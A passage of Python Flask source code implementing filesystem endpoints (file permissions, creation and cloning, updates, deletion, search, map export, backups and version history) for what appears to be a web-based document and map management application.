so we'll use\n # the handy FileHierarchy class later to calculate this permission information.\n private_data_access = get_authorization_service().has_role(\n current_user, 'private-data-access'\n )\n query = add_project_user_role_columns(query, t_project, current_user.id,\n access_override=private_data_access)\n query = add_file_user_role_columns(query, t_file, current_user.id,\n access_override=private_data_access)\n\n if lazy_load_content:\n query = query.options(lazyload(t_file.content))\n\n results = query.all()\n\n # Because this method supports loading multiple files AND their hierarchy EACH, the query\n # dumped out every file AND every file's hierarchy. To figure out permissions for a file,\n # we need to figure out which rows belong to which file, which we can do because the query\n # put the initial file ID in the initial_id column\n grouped_results = defaultdict(lambda: [])\n for row in results:\n grouped_results[row._asdict()['initial_id']].append(row)\n\n # Now we use FileHierarchy to calculate permissions, AND the project (because remember,\n # projects are only linked to the root folder, and so you cannot just do Files.project).\n # We also calculate whether a file is recycled for cases when a file itself is not recycled,\n # but one of its parent folders is (NOTE: maybe in the future,\n # 'recycled' should not be inherited?)\n files = []\n for rows in grouped_results.values():\n hierarchy = FileHierarchy(rows, t_file, t_project)\n hierarchy.calculate_properties([current_user.id])\n hierarchy.calculate_privileges([current_user.id])\n files.append(hierarchy.file)\n\n # Handle helper require_hash_ids argument that check to see if all files wanted\n # actually appeared in the results\n if require_hash_ids:\n missing_hash_ids = self.get_missing_hash_ids(require_hash_ids, files)\n\n if len(missing_hash_ids):\n raise RecordNotFound(\n title='File Not Found',\n message=f\"The request specified one or more file or directory \"\n f\"({', '.join(missing_hash_ids)}) that could not be found.\",\n code=404)\n\n # In the end, we just return a list of Files instances!\n return files\n\n def check_file_permissions(\n self,\n files: List[Files],\n user: AppUser,\n require_permissions: List[str],\n *,\n permit_recycled: bool\n ):\n \"\"\"\n Helper method to check permissions on the provided files and other properties\n that you may want to check for. On error, an exception is thrown.\n\n :param files: the files to check\n :param user: the user to check permissions for\n :param require_permissions: a list of permissions to require (like 'writable')\n :param permit_recycled: whether to allow recycled files\n \"\"\"\n # Check each file\n for file in files:\n for permission in require_permissions:\n if not getattr(file.calculated_privileges[user.id], permission):\n # Do not reveal the filename with the error!\n # TODO: probably refactor these readable, commentable to\n # actual string values...\n\n if not file.calculated_privileges[user.id].readable:\n raise AccessRequestRequiredError(\n curr_access='no',\n req_access='readable',\n hash_id=file.hash_id\n )\n else:\n if permission == 'commentable':\n raise AccessRequestRequiredError(\n curr_access='commentable',\n req_access='writable',\n hash_id=file.hash_id\n )\n else:\n raise AccessRequestRequiredError(\n curr_access='readable',\n req_access='writable',\n hash_id=file.hash_id\n )\n\n if not permit_recycled and (file.recycled or file.parent_recycled):\n raise ValidationError(\n f\"The file or directory '{file.filename}' has been trashed and \"\n \"must be restored first.\")\n\n def update_files(self, hash_ids: List[str], params: Dict, user: AppUser):\n \"\"\"\n Updates the specified files using the parameters from a validated request.\n\n :param hash_ids: the object hash IDs\n :param params: the parameters\n :param user: the user that is making the change\n \"\"\"\n file_type_service = get_file_type_service()\n\n changed_fields = set()\n\n # Collect everything that we need to query\n target_hash_ids = set(hash_ids)\n parent_hash_id = params.get('parent_hash_id')\n\n query_hash_ids = hash_ids[:]\n require_hash_ids = []\n\n if parent_hash_id is not None:\n query_hash_ids.append(parent_hash_id)\n require_hash_ids.append(parent_hash_id)\n\n # ========================================\n # Fetch and check\n # ========================================\n\n files = self.get_nondeleted_recycled_files(Files.hash_id.in_(query_hash_ids),\n require_hash_ids=require_hash_ids)\n self.check_file_permissions(files, user, ['writable'], permit_recycled=False)\n\n target_files = [file for file in files if file.hash_id in target_hash_ids]\n parent_file = None\n missing_hash_ids = self.get_missing_hash_ids(query_hash_ids, files)\n\n # Prevent recursive parent hash IDs\n if parent_hash_id is not None and parent_hash_id in [file.hash_id for file in target_files]:\n raise ValidationError(f'An object cannot be set as the parent of itself.',\n \"parentHashId\")\n\n # Check the specified parent to see if it can even be a parent\n if parent_hash_id is not None:\n parent_file = next(filter(lambda file: file.hash_id == parent_hash_id, files), None)\n assert parent_file is not None\n\n if parent_file.mime_type != DirectoryTypeProvider.MIME_TYPE:\n raise ValidationError(f\"The specified parent ({parent_hash_id}) is \"\n f\"not a folder. It is a file, and you cannot make files \"\n f\"become a child of another file.\", \"parentHashId\")\n\n if 'content_value' in params and len(target_files) > 1:\n # We don't allow multiple files to be changed due to a potential deadlock\n # in FileContent.get_or_create(), and also because it's a weird use case\n raise NotImplementedError(\n \"Cannot update the content of multiple files with this method\")\n\n if params.get('fallback_organism'):\n db.session.add(params['fallback_organism'])\n\n # ========================================\n # Apply\n # ========================================\n\n for file in target_files:\n assert file.calculated_project is not None\n is_root_dir = (file.calculated_project.root_id == file.id)\n\n if 'description' in params:\n if file.description != params['description']:\n file.description = params['description']\n changed_fields.add('description')\n\n # Some changes cannot be applied to root directories\n if not is_root_dir:\n if parent_file is not None:\n # Re-check referential parent\n if file.id == parent_file.id:\n raise ValidationError(f'A file or folder ({file.filename}) cannot be '\n f'set as the parent of itself.', \"parentHashId\")\n\n # TODO: Check max hierarchy depth\n\n # Check for circular inheritance\n current_parent = parent_file.parent\n while current_parent:\n if current_parent.hash_id == file.hash_id:\n raise ValidationError(\n f\"If the parent of '{file.filename}' was set to \"\n f\"'{parent_file.filename}', it would result in circular\"\n f\"inheritance.\", \"parent_hash_id\")\n current_parent = current_parent.parent\n\n file.parent = parent_file\n changed_fields.add('parent')\n\n if 'filename' in params:\n file.filename = params['filename']\n changed_fields.add('filename')\n\n if 'public' in params:\n # Directories can't be public because it doesn't work right in all\n # places yet (namely not all API endpoints that query for public files will\n # pick up files within a public directory)\n if file.mime_type != DirectoryTypeProvider.MIME_TYPE and \\\n file.public != params['public']:\n file.public = params['public']\n changed_fields.add('public')\n\n if 'fallback_organism' in params:\n file.fallback_organism = params['fallback_organism']\n changed_fields.add('fallback_organism')\n\n if 'annotation_configs' in params:\n file.annotation_configs = params['annotation_configs']\n changed_fields.add('annotation_configs')\n\n if 'content_value' in params:\n buffer = params['content_value']\n\n # Get file size\n buffer.seek(0, io.SEEK_END)\n size = buffer.tell()\n buffer.seek(0)\n\n if size > self.file_max_size:\n raise ValidationError(\n 'Your file could not be processed because it is too large.',\n \"content_value\")\n\n # Get the provider\n provider = file_type_service.get(file)\n\n try:\n provider.validate_content(buffer)\n buffer.seek(0) # Must rewind\n except ValueError:\n raise ValidationError(f\"The provided file may be corrupt for files of type \"\n f\"'{file.mime_type}' (which '{file.hash_id}' is of).\",\n \"contentValue\")\n\n new_content_id = FileContent.get_or_create(buffer)\n buffer.seek(0) # Must rewind\n\n # Only make a file version if the content actually changed\n if file.content_id != new_content_id:\n # Create file version\n version = FileVersion()\n version.file = file\n version.content_id = file.content_id\n version.user = user\n db.session.add(version)\n\n file.content_id = new_content_id\n provider.handle_content_update(file)\n changed_fields.add('content_value')\n\n file.modified_date = datetime.now()\n file.modifier = user\n\n if len(changed_fields):\n try:\n db.session.commit()\n except IntegrityError as e:\n db.session.rollback()\n raise ValidationError(\"No two items (folder or file) can share the same name.\",\n \"filename\")\n\n return missing_hash_ids\n\n def get_file_response(self, hash_id: str, user: AppUser):\n \"\"\"\n Fetch a file and return a response that can be sent to the client. Permissions\n are checked and this method will throw a relevant response exception.\n\n :param hash_id: the hash ID of the file\n :param user: the user to check permissions for\n :return: the response\n \"\"\"\n # TODO: Potentially move these annotations into a separate table\n EXCLUDE_FIELDS = ['enrichment_annotations', 'annotations']\n\n return_file = self.get_nondeleted_recycled_file(\n Files.hash_id == hash_id,\n attr_excl=EXCLUDE_FIELDS\n )\n self.check_file_permissions([return_file], user, ['readable'], permit_recycled=True)\n\n children = self.get_nondeleted_recycled_files(and_(\n Files.parent_id == return_file.id,\n Files.recycling_date.is_(None),\n ), attr_excl=EXCLUDE_FIELDS)\n # Note: We don't check permissions here, but there are no negate permissions\n return_file.calculated_children = children\n\n return jsonify(FileResponseSchema(context={\n 'user_privilege_filter': g.current_user.id,\n }, exclude=(\n 'result.children.children', # We aren't loading sub-children\n )).dump({\n 'result': return_file,\n }))\n\n def get_bulk_file_response(\n self,\n hash_ids: List[str],\n user: AppUser,\n *,\n missing_hash_ids: Iterable[str] = None\n ):\n \"\"\"\n Fetch several files and return a response that can be sent to the client. Could\n possibly return a response with an empty list if there were no matches. Permissions\n are checked and this method will throw a relevant response exception.\n\n :param hash_ids: the hash IDs of the files\n :param user: the user to check permissions for\n :param missing_hash_ids: IDs to put in the response\n :return: the response\n \"\"\"\n files = self.get_nondeleted_recycled_files(Files.hash_id.in_(hash_ids))\n self.check_file_permissions(files, user, ['readable'], permit_recycled=True)\n\n returned_files = {}\n\n for file in files:\n if file.calculated_privileges[user.id].readable:\n returned_files[file.hash_id] = file\n\n return jsonify(\n MultipleFileResponseSchema(\n context={\n 'user_privilege_filter': user.id,\n },\n exclude=(\n 'mapping.children',\n )\n ).dump(\n dict(\n mapping=returned_files,\n missing=list(missing_hash_ids) if missing_hash_ids is not None else [],\n )\n )\n )\n\n def get_missing_hash_ids(self, expected_hash_ids: Iterable[str], files: Iterable[Files]):\n found_hash_ids = set(file.hash_id for file in files)\n missing = set()\n for hash_id in expected_hash_ids:\n if hash_id not in found_hash_ids:\n missing.add(hash_id)\n return missing\n\n\nclass FileHierarchyView(FilesystemBaseView):\n decorators = [auth.login_required]\n\n @use_args(FileHierarchyRequestSchema)\n def get(self, params: dict):\n \"\"\"\n Fetches a representation of the complete file hierarchy accessible by the current user.\n \"\"\"\n current_app.logger.info(\n f'Attempting to generate file hierarchy...',\n extra=UserEventLog(\n username=g.current_user.username,\n event_type=LogEventType.FILESYSTEM.value\n ).to_dict()\n )\n\n filters = [Files.recycling_date.is_(None)]\n\n if params['directories_only']:\n filters.append(Files.mime_type == DirectoryTypeProvider.MIME_TYPE)\n\n hierarchy = self.get_nondeleted_recycled_files(and_(*filters))\n\n root = {} # type: ignore\n curr_dir = root\n for file in hierarchy:\n # Privileges are calculated in `get_nondeleted_recycled_files` above\n if file and file.calculated_privileges[g.current_user.id].readable:\n curr_dir = root\n id_path_list = [f.id for f in file.file_path]\n for id in id_path_list:\n if id not in curr_dir:\n curr_dir[id] = {}\n curr_dir = curr_dir[id]\n\n def generate_node_tree(id, children):\n file = db.session.query(Files).get(id)\n filename_path = file.filename_path\n ordered_children = []\n\n # Unfortunately, Python doesn't seem to have a built-in for sorting strings the same\n # way Postgres sorts them with collation. Ideally, we would create our own sorting\n # function that would do this. This temporary solution of querying the children,\n # sorting them, and then ordering our data based on that order will work, but it will\n # also be relatively slow.\n if children:\n ordered_children = [\n (child_id, children[child_id])\n for child_id, in db.session.query(\n Files.id\n ).filter(\n Files.id.in_(c_id for c_id in children)\n ).order_by(\n Files.filename\n )\n ]\n\n return {\n 'data': file,\n 'level': len(filename_path.split('/')) - 2,\n 'children': [\n generate_node_tree(id, grandchildren)\n for id, grandchildren in ordered_children\n ]\n }\n\n ordered_projects = [\n root_id\n for root_id, in db.session.query(\n Projects.root_id\n ).filter(\n Projects.root_id.in_([project_id for project_id in root.keys()])\n ).order_by(\n Projects.name\n )\n ]\n\n # Unfortunately can't just sort by the filenames of root folders, since they all have the\n # filename '/'. Instead, get the sorted project names, and then sort the list using that\n # order. Also, it doesn't seem that Python has a builtin method for sorting with string\n # collation, as is done by the Postgres order by. Otherwise, we would do that.\n sorted_root = [\n (project_id, root[project_id])\n for project_id in ordered_projects\n ]\n\n results = [\n generate_node_tree(project_id, children)\n for project_id, children in sorted_root\n ]\n\n current_app.logger.info(\n f'Generated file hierarchy!',\n extra=UserEventLog(\n username=g.current_user.username,\n event_type=LogEventType.FILESYSTEM.value\n ).to_dict()\n )\n return jsonify(FileHierarchyResponseSchema(context={\n 'user_privilege_filter': g.current_user.id,\n }).dump({\n 'results': results,\n }))\n\n\nclass FileListView(FilesystemBaseView):\n decorators = [auth.login_required]\n\n @use_args(FileCreateRequestSchema, locations=['json', 'form', 'files', 'mixed_form_json'])\n def post(self, params):\n \"\"\"Endpoint to create a new file or to clone a file into a new one.\"\"\"\n\n current_user = g.current_user\n file_type_service = get_file_type_service()\n\n file = Files()\n file.filename = params['filename']\n file.description = params.get('description')\n file.user = current_user\n file.creator = current_user\n file.modifier = current_user\n file.public = params.get('public', False)\n\n # ========================================\n # Resolve parent\n # ========================================\n\n try:\n parent = self.get_nondeleted_recycled_file(Files.hash_id == params['parent_hash_id'])\n self.check_file_permissions([parent], current_user, ['writable'], permit_recycled=False)\n except RecordNotFound:\n # Rewrite the error to make more sense\n raise ValidationError(\"The requested parent object could not be found.\",\n \"parent_hash_id\")\n\n if parent.mime_type != DirectoryTypeProvider.MIME_TYPE:\n raise ValidationError(f\"The specified parent ({params['parent_hash_id']}) is \"\n f\"not a folder. It is a file, and you cannot make files \"\n f\"become a child of another file.\", \"parent_hash_id\")\n\n # TODO: Check max hierarchy depth\n\n file.parent = parent\n\n assert file.parent is not None\n\n # ========================================\n # Resolve file content\n # ========================================\n\n # Clone operation\n if params.get('content_hash_id') is not None:\n source_hash_id: Optional[str] = params.get(\"content_hash_id\")\n\n try:\n existing_file = self.get_nondeleted_recycled_file(Files.hash_id == source_hash_id)\n self.check_file_permissions([existing_file], current_user, ['readable'],\n permit_recycled=True)\n except RecordNotFound:\n raise ValidationError(f\"The requested file or directory to clone from \"\n f\"({source_hash_id}) could not be found.\",\n \"content_hash_id\")\n\n if existing_file.mime_type == DirectoryTypeProvider.MIME_TYPE:\n raise ValidationError(f\"The specified clone source ({source_hash_id}) \"\n f\"is a folder and that is not supported.\", \"mime_type\")\n\n file.mime_type = existing_file.mime_type\n file.doi = existing_file.doi\n file.annotations = existing_file.annotations\n file.annotations_date = existing_file.annotations_date\n file.custom_annotations = existing_file.custom_annotations\n file.upload_url = existing_file.upload_url\n file.excluded_annotations = existing_file.excluded_annotations\n file.content_id = existing_file.content_id\n\n if 'description' not in params:\n file.description = existing_file.description\n\n # Create operation\n else:\n buffer, url = self._get_content_from_params(params)\n\n # Figure out file size\n buffer.seek(0, io.SEEK_END)\n size = buffer.tell()\n buffer.seek(0)\n\n # Check max file size\n if size > self.file_max_size:\n raise ValidationError(\n 'Your file could not be processed because it is too large.')\n\n # Save the URL\n file.upload_url = url\n\n mime_type = params.get('mime_type')\n\n # Detect mime type\n if mime_type:\n file.mime_type = mime_type\n else:\n mime_type = file_type_service.detect_mime_type(buffer)\n buffer.seek(0) # Must rewind\n file.mime_type = mime_type\n\n # Get the provider based on what we know now\n provider = file_type_service.get(file)\n # if no provider matched try to convert\n\n # if it is a bioc-xml file\n if isinstance(provider, BiocTypeProvider):\n # then convert it to BiocJSON\n provider.convert(buffer)\n file_name, ext = os.path.splitext(file.filename)\n # if ext is not bioc then set it bioc.\n if ext.lower() != '.bioc':\n file.filename = file_name + '.bioc'\n\n if provider == file_type_service.default_provider:\n file_name, extension = os.path.splitext(file.filename)\n if extension.isupper():\n file.mime_type = 'application/pdf'\n provider = file_type_service.get(file)\n provider.convert(buffer)\n\n # Check if the user can even upload this type of file\n if not provider.can_create():\n raise ValidationError(f\"The provided file type is not accepted.\")\n\n # Validate the content\n try:\n provider.validate_content(buffer)\n buffer.seek(0) # Must rewind\n except ValueError as e:\n raise ValidationError(f\"The provided file may be corrupt: {str(e)}\")\n\n # Get the DOI\n file.doi = provider.extract_doi(buffer)\n buffer.seek(0) # Must rewind\n\n # Save the file content if there's any\n if size:\n file.content_id = FileContent.get_or_create(buffer)\n buffer.seek(0) # Must rewind\n try:\n buffer.close()\n except Exception:\n pass\n\n # ========================================\n # Annotation options\n # ========================================\n\n if params.get('fallback_organism'):\n db.session.add(params['fallback_organism'])\n file.fallback_organism = params['fallback_organism']\n\n if params.get('annotation_configs'):\n file.annotation_configs = params['annotation_configs']\n\n # ========================================\n # Commit and filename conflict resolution\n # ========================================\n\n # Filenames could conflict, so we may need to generate a new filename\n # Trial 1: First attempt\n # Trial 2: Try adding (N+1) to the filename and try again\n # Trial 3: Try adding (N+1) to the filename and try again (in case of a race condition)\n # Trial 4: Give up\n # Trial 3 only does something if the transaction mode is in READ COMMITTED or worse (!)\n for trial in range(4):\n if 1 <= trial <= 2: # Try adding (N+1)\n try:\n file.filename = file.generate_non_conflicting_filename()\n except ValueError:\n raise ValidationError(\n 'Filename conflicts with an existing file in the same folder.',\n \"filename\")\n elif trial == 3: # Give up\n raise ValidationError(\n 'Filename conflicts with an existing file in the same folder.',\n \"filename\")\n\n try:\n db.session.begin_nested()\n db.session.add(file)\n db.session.commit()\n break\n except IntegrityError as e:\n # Warning: this could catch some other integrity error\n db.session.rollback()\n\n db.session.commit()\n\n # ========================================\n # Return new file\n # ========================================\n\n return self.get_file_response(file.hash_id, current_user)\n\n @use_args(lambda request: BulkFileRequestSchema(),\n locations=['json', 'form', 'files', 'mixed_form_json'])\n @use_args(lambda request: BulkFileUpdateRequestSchema(partial=True),\n locations=['json', 'form', 'files', 'mixed_form_json'])\n def patch(self, targets, params):\n \"\"\"File update endpoint.\"\"\"\n\n # do NOT write any code before those two lines - it will cause some unit tests to fail\n current_user = g.current_user\n missing_hash_ids = self.update_files(targets['hash_ids'], params, current_user)\n\n linked_files = params.pop('hashes_of_linked', [])\n\n files = self.get_nondeleted_recycled_files(Files.hash_id.in_(targets['hash_ids']))\n\n map_id = None\n to_add, new_ids = [], []\n if files:\n file = files[0]\n if file.mime_type == FILE_MIME_TYPE_MAP:\n map_id = file.id\n\n new_files = self.get_nondeleted_recycled_files(Files.hash_id.in_(linked_files))\n\n new_ids = [file.id for file in new_files]\n\n # Possibly could be optimized with some get_or_create or insert_if_not_exist\n to_add = [MapLinks(map_id=map_id, linked_id=file.id) for file in new_files if not\n db.session.query(MapLinks).filter_by(map_id=map_id, linked_id=file.id\n ).scalar()]\n\n response = self.get_bulk_file_response(targets['hash_ids'], current_user,\n missing_hash_ids=missing_hash_ids)\n # Add changes to the MapLinks after then response generation, as it might raise exceptions\n try:\n if to_add:\n db.session.bulk_save_objects(to_add)\n if map_id:\n delete_count = db.session.query(MapLinks).filter(MapLinks.map_id == map_id,\n MapLinks.linked_id.notin_(new_ids)\n ).delete(synchronize_session=False)\n if to_add or delete_count:\n db.session.commit()\n except SQLAlchemyError:\n db.session.rollback()\n raise\n return response\n\n # noinspection DuplicatedCode\n @use_args(lambda request: BulkFileRequestSchema())\n def delete(self, targets):\n \"\"\"File delete endpoint.\"\"\"\n\n current_user = g.current_user\n\n hash_ids = targets['hash_ids']\n\n files = self.get_nondeleted_recycled_files(Files.hash_id.in_(hash_ids))\n self.check_file_permissions(files, current_user, ['writable'], permit_recycled=True)\n\n # ========================================\n # Apply\n # ========================================\n\n for file in files:\n children = self.get_nondeleted_recycled_files(and_(\n Files.parent_id == file.id,\n Files.recycling_date.is_(None),\n ))\n\n # For now, we won't let people delete non-empty folders (although this code\n # is subject to a race condition) because the app doesn't handle deletion that well\n # yet and the children would just become orphan files that would still be\n # accessible but only by URL and with no easy way to delete them\n if len(children):\n raise ValidationError('Only empty folders can be deleted.', 'hash_ids')\n\n if file.calculated_project.root_id == file.id:\n raise ValidationError(f\"You cannot delete the root directory \"\n f\"for a project (the folder for the project \"\n f\"'{file.calculated_project.name}' was specified).\")\n\n if not file.recycled:\n file.recycling_date = datetime.now()\n file.recycler = current_user\n file.modifier = current_user\n\n if not file.deleted:\n file.deletion_date = datetime.now()\n file.deleter = current_user\n file.modifier = current_user\n\n db.session.commit()\n\n # ========================================\n # Return changed files\n # ========================================\n\n return jsonify(MultipleFileResponseSchema().dump(dict(\n mapping={},\n missing=[],\n )))\n\n def _get_content_from_params(self, params: dict) -> Tuple[io.BufferedIOBase, Optional[str]]:\n url = params.get('content_url')\n buffer = params.get('content_value')\n\n # Fetch from URL\n if url is not None:\n try:\n buffer = read_url(\n urllib.request.Request(url, headers={\n 'User-Agent': self.url_fetch_user_agent,\n }),\n max_length=self.file_max_size,\n timeout=self.url_fetch_timeout,\n prefer_direct_downloads=True\n )\n except Exception:\n raise ValidationError('Your file could not be downloaded, either because it is '\n 'inaccessible or another problem occurred. Please double '\n 'check the spelling of the URL. You can also download '\n 'the file to your computer from the original website and '\n 'upload the file manually.', \"content_url\")\n\n return buffer, url\n\n # Fetch from upload\n elif buffer is not None:\n return buffer, None\n else:\n return typing.cast(io.BufferedIOBase, io.BytesIO()), None\n\n\nclass FileSearchView(FilesystemBaseView):\n decorators = [auth.login_required]\n\n @use_args(FileSearchRequestSchema)\n @use_args(PaginatedRequestSchema)\n def post(self, params: dict, pagination: dict):\n current_user = g.current_user\n\n if params['type'] == 'public':\n # First we query for public files without getting parent directory\n # or project information\n query = db.session.query(Files.id) \\\n .filter(Files.recycling_date.is_(None),\n Files.deletion_date.is_(None),\n Files.public.is_(True)) \\\n .order_by(*params['sort'])\n\n if 'mime_types' in params:\n query = query.filter(Files.mime_type.in_(params['mime_types']))\n\n result = query.paginate(pagination['page'], pagination['limit'])\n\n # Now we get the full file information for this slice of the results\n files = self.get_nondeleted_recycled_files(Files.id.in_(result.items))\n total = result.total\n\n elif params['type'] == 'linked':\n hash_id = params['linked_hash_id']\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id,\n lazy_load_content=True)\n self.check_file_permissions([file], current_user, ['readable'], permit_recycled=True)\n\n # TODO: Sort?\n query = db.session.query(MapLinks.map_id) \\\n .filter(MapLinks.linked_id == file.id)\n\n result = query.paginate(pagination['page'], pagination['limit'])\n\n # Now we get the full file information for this slice of the results\n files = self.get_nondeleted_recycled_files(Files.id.in_(result.items))\n total = len(files)\n\n else:\n raise NotImplementedError()\n\n return jsonify(FileListSchema(context={\n 'user_privilege_filter': g.current_user.id,\n }, exclude=(\n 'results.children',\n )).dump({\n 'total': total,\n 'results': files,\n }))\n\n\nclass FileDetailView(FilesystemBaseView):\n decorators = [auth.login_required]\n\n def get(self, hash_id: str):\n \"\"\"Fetch a single file.\"\"\"\n current_user = g.current_user\n return self.get_file_response(hash_id, current_user)\n\n @use_args(lambda request: FileUpdateRequestSchema(partial=True),\n locations=['json', 'form', 'files', 'mixed_form_json'])\n def patch(self, params: dict, hash_id: str):\n \"\"\"Update a single file.\"\"\"\n current_user = g.current_user\n self.update_files([hash_id], params, current_user)\n return self.get(hash_id)\n\n\nclass FileContentView(FilesystemBaseView):\n decorators = [auth.login_required]\n\n def get(self, hash_id: str):\n \"\"\"Fetch a single file's content.\"\"\"\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id, lazy_load_content=True)\n self.check_file_permissions([file], current_user, ['readable'], permit_recycled=True)\n\n # Lazy loaded\n if file.content:\n content = file.content.raw_file\n etag = file.content.checksum_sha256.hex()\n else:\n content = b''\n etag = hashlib.sha256(content).digest()\n\n return make_cacheable_file_response(\n request,\n content,\n etag=etag,\n filename=file.filename,\n mime_type=file.mime_type\n )\n\n\nclass MapContentView(FilesystemBaseView):\n decorators = [auth.login_required]\n\n def get(self, hash_id: str):\n \"\"\"Fetch a content (graph.json) from a map.\"\"\"\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id, lazy_load_content=True)\n self.check_file_permissions([file], current_user, ['readable'], permit_recycled=True)\n\n if file.mime_type != FILE_MIME_TYPE_MAP:\n raise ValidationError(f'Cannot retrieve map content from file with mime type: '\n f'{file.mime_type}')\n\n try:\n zip_file = zipfile.ZipFile(io.BytesIO(file.content.raw_file))\n json_graph = zip_file.read('graph.json')\n except (KeyError, zipfile.BadZipFile):\n raise ValidationError(\n 'Cannot retrieve contents of the file - it might be corrupted')\n etag = hashlib.sha256(json_graph).hexdigest()\n\n return make_cacheable_file_response(\n request,\n json_graph,\n etag=etag,\n filename=file.filename,\n mime_type=file.mime_type\n )\n\n\nclass FileExportView(FilesystemBaseView):\n decorators = [auth.login_required]\n\n # Move that to constants if accepted\n\n @use_args(FileExportRequestSchema)\n def post(self, params: dict, hash_id: str):\n \"\"\"Export a file.\"\"\"\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id, lazy_load_content=True)\n self.check_file_permissions([file], current_user, ['readable'], permit_recycled=True)\n\n file_type_service = get_file_type_service()\n file_type = file_type_service.get(file)\n\n if params['export_linked'] and params['format'] in SUPPORTED_MAP_MERGING_FORMATS:\n files, links = self.get_all_linked_maps(file, set(file.hash_id), [file], [])\n export = file_type.merge(files, params['format'], links)\n else:\n try:\n export = file_type.generate_export(file, params['format'])\n except ExportFormatError:\n raise ValidationError(\"Unknown or invalid export format for the requested file.\",\n params[\"format\"])\n\n export_content = export.content.getvalue()\n checksum_sha256 = hashlib.sha256(export_content).digest()\n return make_cacheable_file_response(\n request,\n export_content,\n etag=checksum_sha256.hex(),\n filename=export.filename,\n mime_type=export.mime_type,\n )\n\n def get_all_linked_maps(self, file: Files, map_hash_set: set, files: list, links: list):\n current_user = g.current_user\n zip_file = zipfile.ZipFile(io.BytesIO(file.content.raw_file))\n try:\n json_graph = json.loads(zip_file.read('graph.json'))\n except KeyError:\n raise ValidationError\n for node in json_graph['nodes']:\n data = node['data'].get('sources', []) + node['data'].get('hyperlinks', [])\n for link in data:\n url = link.get('url', \"\").lstrip()\n if MAPS_RE.match(url):\n map_hash = url.split('/')[-1]\n link_data = {\n 'x': node['data']['x'],\n 'y': node['data']['y'],\n 'page_origin': next(i for i, f in enumerate(files)\n if file.hash_id == f.hash_id),\n 'page_destination': len(files)\n }\n # Fetch linked maps and check permissions, before we start to export them\n if map_hash not in map_hash_set:\n try:\n child_file = self.get_nondeleted_recycled_file(\n Files.hash_id == map_hash, lazy_load_content=True)\n self.check_file_permissions([child_file], current_user,\n ['readable'], permit_recycled=True)\n map_hash_set.add(map_hash)\n files.append(child_file)\n\n files, links = self.get_all_linked_maps(child_file,\n map_hash_set, files, links)\n\n except RecordNotFound:\n current_app.logger.info(\n f'Map file: {map_hash} requested for linked '\n f'export does not exist.',\n extra=UserEventLog(\n username=current_user.username,\n event_type=LogEventType.FILESYSTEM.value).to_dict()\n )\n link_data['page_destination'] = link_data['page_origin']\n else:\n link_data['page_destination'] = next(i for i, f in enumerate(files) if\n f.hash_id == map_hash)\n links.append(link_data)\n return files, links\n\n\nclass FileBackupView(FilesystemBaseView):\n \"\"\"Endpoint to manage 'backups' that are recorded for the user when they are editing a file\n so that they don't lose their work.\"\"\"\n decorators = [auth.login_required]\n\n @use_args(FileBackupCreateRequestSchema, locations=['json', 'form', 'files', 'mixed_form_json'])\n def put(self, params: dict, hash_id: str):\n \"\"\"Endpoint to create a backup for a file for a user.\"\"\"\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id, lazy_load_content=True)\n self.check_file_permissions([file], current_user, ['writable'], permit_recycled=False)\n\n backup = FileBackup()\n backup.file = file\n backup.raw_value = params['content_value'].read()\n backup.user = current_user\n db.session.add(backup)\n db.session.commit()\n\n return jsonify({})\n\n def delete(self, hash_id: str):\n \"\"\"Get the backup stored for a file for a user.\"\"\"\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id, lazy_load_content=True)\n # They should only have a backup if the file was writable to them, so we're\n # only going to let users retrieve their backup if they can still write to the file\n self.check_file_permissions([file], current_user, ['writable'], permit_recycled=False)\n\n file_backup_table = FileBackup.__table__\n db.session.execute(\n file_backup_table.delete().where(and_(file_backup_table.c.file_id == file.id,\n file_backup_table.c.user_id ==\n current_user.id))\n )\n db.session.commit()\n\n return jsonify({})\n\n\nclass FileBackupContentView(FilesystemBaseView):\n \"\"\"Endpoint to get the backup's content.\"\"\"\n decorators = [auth.login_required]\n\n def get(self, hash_id):\n \"\"\"Get the backup stored for a file for a user.\"\"\"\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id, lazy_load_content=True)\n # They should only have a backup if the file was writable to them, so we're\n # only going to let users retrieve their backup if they can still write to the file\n self.check_file_permissions([file], current_user, ['writable'], permit_recycled=False)\n\n backup = db.session.query(FileBackup) \\\n .options(raiseload('*')) \\\n .filter(FileBackup.file_id == file.id,\n FileBackup.user_id == current_user.id) \\\n .order_by(desc(FileBackup.creation_date)) \\\n .first()\n\n if backup is None:\n raise RecordNotFound(\n title='Failed to Get File Backup',\n message='No backup stored for this file.',\n code=404)\n\n content = backup.raw_value\n etag = hashlib.sha256(content).hexdigest()\n\n return make_cacheable_file_response(\n request,\n content,\n etag=etag,\n filename=file.filename,\n mime_type=file.mime_type\n )\n\n\nclass FileVersionListView(FilesystemBaseView):\n \"\"\"Endpoint to fetch the versions of a file.\"\"\"\n decorators = [auth.login_required]\n\n @use_args(PaginatedRequestSchema)\n def get(self, pagination: dict, hash_id: str):\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id)\n self.check_file_permissions([file], current_user, ['readable'], permit_recycled=False)\n\n query = db.session.query(FileVersion) \\\n .options(raiseload('*'),\n joinedload(FileVersion.user)) \\\n .filter(FileVersion.file_id == file.id) \\\n .order_by(desc(FileVersion.creation_date))\n\n result = query.paginate(pagination['page'], pagination['limit'])\n\n return jsonify(FileVersionHistorySchema(context={\n 'user_privilege_filter': g.current_user.id,\n }).dump({\n 'object': file,\n 'total': result.total,\n 'results': result.items,\n }))\n\n\nclass FileVersionContentView(FilesystemBaseView):\n \"\"\"Endpoint to fetch a file version.\"\"\"\n decorators = [auth.login_required]\n\n @use_args(PaginatedRequestSchema)\n def get(self, pagination: dict, hash_id: str):\n current_user = g.current_user\n\n file_version = db.session.query(FileVersion) \\\n .options(raiseload('*'),\n joinedload(FileVersion.user),\n joinedload(FileVersion.content)) \\\n .filter(FileVersion.hash_id == hash_id) \\\n .one()\n\n file = self.get_nondeleted_recycled_file(Files.id == file_version.file_id)\n self.check_file_permissions([file], current_user, ['readable'], permit_recycled=False)\n\n return file_version.content.raw_file\n\n\nclass 